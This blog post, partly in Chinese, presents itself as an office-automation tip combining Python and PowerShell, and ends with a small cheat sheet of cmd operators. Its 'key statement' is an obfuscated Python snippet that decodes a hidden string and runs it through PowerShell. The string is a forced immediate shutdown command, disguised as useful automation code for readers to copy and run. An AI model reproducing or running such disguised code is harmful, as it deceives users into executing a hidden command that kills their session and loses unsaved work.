Implementing office automation using Python

本文探讨了程序员不常关机的原因,包括实习期间的工作需求、使用编程语言如Python实现系统终端自动化、以及电脑作为黑客攻击的双重风险。通过自动化流程和设置快捷键,程序员保持系统运行以维护工作效率和信息安全。
摘要由CSDN通过智能技术生成

Why don't programmers like to shut down their computers?

Have you noticed that programmers seem to never shut down their computers? Don't think they are addicted to computers, they have their own reasons! Let's unveil the reasons behind it and see the true "heroic" nature of programmers!

I am currently interning at a company. Since data is not always generated during working hours, I need to work at night, and the working system is from morning to afternoon, so I hope to be able to remotely control the computer when I go back at night.

(Getting data requires special permissions, so I must use the company's machine)

I found that the correct posture for an internship should be:

  1. Clarify the workflow

Only when you know what to do and make each step accurately can you ensure the feasibility of the operation.

When programming, having a flowchart in your mind is very helpful.

After setting up the process, the computer will know what to do. This is the essence of programming and the basic requirement for the reliability of automated office.

      2. Use programming languages (such as Python) in conjunction with the system terminal to achieve automated office.

To achieve automatic and batch manipulation of the system, the system terminal will be very convenient.

I personally use the Windows system more often. It has two types of terminals, PowerShell and cmd, both of which can be regarded as a computer language.

From the language style, PowerShell is like a mixture of various language styles, so if you have learned many languages before, with the blessing of GPT, you will get started faster.

Why Python? Web crawling, automatic keyboard and mouse, data analysis and data processing, parallel computing, these are all achievable by Python.

Therefore, during my internship, I thought of a way to automatically combine the system terminal with Python: I use Python as a guide to induce the system terminal process, and then after the system terminal runs, return to the Python manipulation interface.

Below is a simple key statement that can help us achieve many functions.

import subprocess as sp

s = ''
p = ':;0\x93k\x93ĪŤDz̎υӯڴࡺ\u0a7bೋྎአᘈ᧲'
for i in range(len(p)):
	s += chr(ord(p[i])-i**3+i**2-i-10)


sp.run(['PowerShell', '-Command', eval(chr(115) + chr(91) + chr(58) + chr(58) + str(-1) + chr(93))])

Yes, programmers don't like to shut down their computers.

Moreover, you can use a shortcut, and set a shortcut key for this shortcut, so it will be very convenient every time you call it, and the code can also run in the background.

Next, I will use a closing statement to end this explanation.

The computer is the most powerful place for hackers, and it is also the most vulnerable place for hackers!

You see, when the hacker is not there, messing with the hacker's computer, pressing the shortcut keys randomly, unplugging the hacker's plug, damaging the hacker's equipment, all will have disastrous consequences...

You see, when the hacker is obsessed with technology in front of the computer, it is when the hacker is most likely to be physically injured...

cmd 小助手
c1&c2
依次执行命令c1, c2,不论c1成功还是失败,执行完后执行c2
c1&&c2
必须全部都执行成功才能执行
c1||c2||c3
只要有一个执行成功就可以执行,按照c1, c2, c3顺序仅执行最先成功的哪一个
c1|c2
同时执行c1和c2

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值